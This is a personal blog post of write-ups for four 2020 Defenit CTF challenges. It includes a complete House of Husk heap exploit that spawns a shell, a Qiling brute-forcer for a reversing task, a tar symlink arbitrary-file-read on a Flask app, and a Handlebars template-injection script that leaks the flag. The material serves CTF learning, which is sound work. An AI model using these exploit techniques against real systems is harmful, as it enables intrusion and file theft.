Sunday, June 7, 2020

2020 Defenit CTF - Some tasks

Introduction

This weekend FireShell wasn’t going to play CTFs, so I decided to look at the Defenit CTF by myself. As I had some important things to do, I couldn’t play much longer, but it was enough to solve some tasks.

Pwnable - Error Program

This was an interesting pwnable challenge. The binary had a menu with 3 options: Buffer Overflow, Format String and UAF. If we choose the UAF menu, we notice that:

  • We can allocate chunks with size between 0x777 and 0x77777
  • There is a use-after-free on edit and view functions
  • We can only allocate 4 chunks

All the constraints above make the challenge suitable for House of Husk! Exploit code is below:

from pwn import *


context.terminal = ['tmux', 'splitw', '-h']
local = False

if local:
    p = process('./errorProgram')
else:
    p = remote('error-program.ctf.defenit.kr', 7777)

def pa(addr):
    print('%#x' % addr)

def malloc(idx, size):
    p.sendlineafter('YOUR CHOICE? :', '1')
    p.sendlineafter('INDEX? :', str(idx))
    p.sendlineafter('SIZE? :', str(size))

def free(idx):
    p.sendlineafter('YOUR CHOICE? :', '2')
    p.sendlineafter('INDEX? :', str(idx))

def edit(idx, data):
    p.sendlineafter('YOUR CHOICE? :', '3')
    p.sendlineafter('INDEX? :', str(idx))
    p.sendlineafter('DATA :', data)

def view(idx):
    p.sendlineafter('YOUR CHOICE? :', '4')
    p.sendlineafter('INDEX? :', str(idx))

def offset2size(ofs):
    return ((ofs) * 2 - 0x10)

# copy and paste from https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507
MAIN_ARENA       = 0x3ebc40
MAIN_ARENA_DELTA = 0x60
GLOBAL_MAX_FAST  = 0x3ed940
PRINTF_FUNCTABLE = 0x3f0658
PRINTF_ARGINFO   = 0x3ec870
ONE_GADGET       = 0x10a38c

# go to uaf menu
p.sendline('3')

malloc(0, 0x777)
malloc(1, offset2size(PRINTF_FUNCTABLE - MAIN_ARENA))
malloc(2, offset2size(PRINTF_ARGINFO - MAIN_ARENA))

free(0)
view(0)
p.recvuntil('DATA : ')
leak = u64(p.recv(6).strip().ljust(8, b'\x00'))
libc_base = leak - MAIN_ARENA - MAIN_ARENA_DELTA
pa(libc_base)

edit(2, b'A' * ((120 * 8) - 16) + p64(libc_base + ONE_GADGET))

# unsorted bin attack
edit(0, p64(0) + p64(libc_base + GLOBAL_MAX_FAST - 0x10))
malloc(3, 0x777)

free(1)
free(2)

# choose option 1 from main menu: Buffer Overflow
# and trigger the call to printf("%x") to get a shell
p.sendlineafter('YOUR CHOICE? :', '5')
p.sendlineafter('YOUR CHOICE? :', '1')
p.sendlineafter('payload :', 'B' * 256)

p.interactive()

Reverse Engineering - MoM’s Touch

This challenge was a simple binary, it does read our input and do some comparison. Let’s look at his main function pseudocode:

int __cdecl main()
{
  char *buf; // eax
  char *s; // esi
  ssize_t v2; // eax

  sub_80486B0();
  puts("Mom Give Me The FLAG!");
  buf = (char *)malloc(0x64u);
  s = buf;
  if ( !buf )
  {
    perror("[*]Error : malloc()");
    goto LABEL_12;
  }
  v2 = read(0, buf, 0x64u);
  if ( v2 < 0 )
  {
    perror("[*]Error : read()");
LABEL_12:
    exit(-1);
  }
  if ( s[v2 - 1] == 10 )
    s[v2 - 1] = 0;
  if ( strlen(s) != 73 )
  {
    puts("Mom, Check the legnth..");
    exit(0);
  }
  if ( (unsigned __int8)sub_80487A0(s) )
    puts("Correct! Mom! Input is FLAG!");
  else
    puts("Try Again..");
  free(s);
  return 0;
}

And for the function sub_80487A0, we have:

int __cdecl sub_80487A0(int a1)
{
  signed int v1; // esi
  int v2; // ebp
  int v3; // eax
  int result; // eax

  v1 = 0;
  while ( 1 )
  {
    v2 = (unsigned __int8)(16 * LOBYTE(dword_80492AC[v1]) | ((unsigned int)dword_80492AC[v1] >> 4));
    v3 = rand();
    if ( (dword_80492AC[(unsigned __int8)(4 * (v3 + v3 / 255) | ((unsigned int)(v3 % 255) >> 2))] ^ dword_80492AC[v2] ^ *(char *)(a1 + v1)) != dword_8049144[v1] )
      break;
    ++v1;
    LOBYTE(result) = 1;
    if ( v1 > 72 )
      return (unsigned __int8)result;
  }
  LOBYTE(result) = 0;
  return (unsigned __int8)result;
}

The above function does compare char by char, when a wrong char is found, it breaks the loop and exit the function. Due to the lack of time and lazyness, I didn’t spend more time reversing the challenge, instead I wrote a script using the Qiling Framework to brute force the flag. It wasn’t the best way to solve the challenge, but it gave me the flag.

import string
import sys
from qiling import *
from concurrent.futures import ThreadPoolExecutor


class MyPipe():
  def __init__(self):
    self.buf = b''
    self.offset = 0

  def write(self, s):
    self.buf += s

  def read(self, size):
    if size <= len(self.buf):
      ret = self.buf[self.offset:self.offset + size]
      self.buf = self.buf[self.offset + size:]
    else:
      ret = self.buf
      self.buf = ''
    return ret

  def fileno(self):
    return 0

  def show(self):
    pass

  def clear(self):
    pass

  def flush(self):
    pass

  def lseek(self, pos, how):
    pass
    if how == 0:
      self.offset = pos
      return pos
    elif how == 1:
      return self.offset
    elif how == 2:
      pass

  def close(self):
    self.outpipe.close()

  def fstat(self):
    return os.fstat(sys.stdin.fileno())

class Exec():
  def __init__(self, path, rootfs, flag):
    self.path = path
    self.rootfs = rootfs
    self.correct = 0
    self.flag = flag

  def good(self, ql):
    self.correct = self.correct + 1

  def run(self, ch):
    stdin = MyPipe()
    stdout = MyPipe()

    ql = Qiling(self.path, self.rootfs, stdin=stdin, stdout=stdout)
    ql.hook_address(self.good, 0x0804881b)
    test = self.flag.decode() + ch
    test = test.ljust(73, 'A')
    stdin.write(test.encode())
    ql.run()

    return (self.correct, ch)

def worker(path, rootfs, flag, ch):
  e = Exec(path, rootfs, flag)
  return e.run(ch)

if __name__ == '__main__':
  alfabeto =  '_' + string.ascii_lowercase + string.digits + string.ascii_uppercase
  flag = b'Defenit{'

  while len(flag) != 72:
    with ThreadPoolExecutor(max_workers=100) as executor:
      futures = [executor.submit(worker, ['momsTouch'], '/qiling/examples/rootfs/x86_linux/', flag, ch) for ch in alfabeto]
      for future in futures:
        corrects, ch = future.result()

        if corrects > len(flag):
          flag = flag + ch.encode()
          sys.stderr.write('==================================\n')
          sys.stderr.write(flag.decode() + '\n')
          sys.stderr.write('==================================\n')
          break

When the script above ends, we just need to append } to the given flag and submit it!

Web - Tar Analyzer

This challenge gave us a flask application where we could upload tar files, extract them and download the extracted files. There goes the source code:

from tarfile import TarFile
from tarfile import TarInfo
from tarfile import is_tarfile
from flask import render_template
from flask import make_response
from flask import send_file
from flask import request
from flask import Flask
from hashlib import md5
from shutil import rmtree
from yaml import *
import os

app = Flask(__name__)

def initializing():
	try:
		with open('config.yaml', 'w') as fp:
			data = {'allow_host':'127.0.0.1', 'message':'Hello Admin!'}
			fp.write(dump(data))

	except:
		return False


def hostcheck(host):
	try:
		with open('config.yaml', 'rb') as fp:
			config = load(fp.read(), Loader=Loader)

		if config['allow_host'] == host:
			return config['message']

		else:
			raise()

	except:
		return False


def response(content, status):
	resp = make_response(content, status)
	return resp


@app.route('/', methods=['GET'])
def main():
	try:
		return render_template('index')

	except:
		return response("Not Found.", 404)

	finally:
		try:
			fn = 'temp/' + md5(request.remote_addr.encode()).hexdigest()

			if os.path.isdir(fn):
				rmtree(fn)

		except:
			response('Not Found.', 404)


@app.route('/<path:host>', methods=['GET'])
def download(host):
	base = 'temp/'
	apath = os.path.join(base, host).replace('..', '')

	if os.path.isfile(apath):
		return send_file(apath)

	return response("Not Found.", 404)


@app.route('/analyze', methods=['POST'])
def analyze():
	try:
		fn = 'temp/{}.tar'.format(md5(request.remote_addr.encode()).hexdigest())

		if request.method == 'POST':
			fp = request.files['file']
			fp.save(fn)

			if not is_tarfile(fn):
				return '<script>alert("Uploaded file is not \'tar\' file.");history.back(-1);</script>'

			tf = TarFile(fn)
			tf.extractall(fn.split('.')[0])
			bd1 = fn.split('/')[1].split('.')[0]
			bd2 = fn.split('/')[1]

			return render_template('analyze', path=bd1, fn=bd1, files=tf.getnames())

	except Exception as e:
		print(e)
		return response('Error', 500)

	finally:
		try:
			os.remove(fn)

		except:
			return response('Error', 500)


@app.route('/admin', methods=['GET'])
def admin():
	initializing()
	data = hostcheck(request.remote_addr)

	if data:
		return response(str(data), 200)

	else:
		return response('{} is not allowed to access.'.format(request.remote_addr), 403)


if __name__ == '__main__':
	initializing()
	app.run(host='0.0.0.0', port=8080)

In order to solve the challenge, I used symlinks inside the tar file, when it was extracted, I could read arbitrary files using the download route. Apart from that, I just had to guess that the flag /flag.txt. Summing up, create a tar file with a symlink to /flag.txt, upload it and then download the extracted file!

Web - BabyJS

This challenge was a node application with express and HandleBars as template engine. The main goal was to somehow render the flag in the template. There goes the source code:

const express = require('express');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();

const SALT = crypto.randomBytes(64).toString('hex');
const FLAG = require('./config').FLAG;

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);

if (!fs.existsSync(path.join('views', 'temp'))) {
    fs.mkdirSync(path.join('views', 'temp'));
}

app.use(express.urlencoded());
app.use((req, res, next) => {
    const { content } = req.body;

    req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
    req.saveDir = path.join('views', 'temp', req.userDir);

    if (!fs.existsSync(req.saveDir)) {
        fs.mkdirSync(req.saveDir);
    }

    if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
        res.end('Request blocked');
        return;
    }

    next();
});

app.get('/', (req, res) => {
    const { p } = req.query;
    if (!p) res.redirect('/?p=index');
    else res.render(p, { FLAG, 'apple': 'mint' });
});

app.post('/', (req, res) => {
    const { body: { content }, userDir, saveDir } = req;
    const filename = crypto.randomBytes(8).toString('hex');

    let p = path.join('temp', userDir, filename)

    fs.writeFile(`${path.join(saveDir, filename)}.html`, content, () => {
        res.redirect(`/?p=${p}`);
    })
});

app.listen(8080, '0.0.0.0');

And for config.js we had:

module.exports = {
    FLAG: 'Defenit{flag-in-here}'
};

I spent some time reading the HandleBars documentation and, finally, figure out an way to read the flag char by char. I quickly wrote a python script to run a brute force and waited for the flag:

import requests


flag = b''
while not flag.endswith('}'):
  data = {
    'content': '{{#each this}} {{#unless @first}} {{ this.[%d] }} {{/unless}} {{/each}}' % len(flag)
  }
  r = requests.post('http://babyjs.ctf.defenit.kr', data=data)
  tmp = r.content.split(b' ')
  flag += tmp[4]
  print(flag)

Capture the Flag , Pwnable , Reverse Engineering , Web , Writeup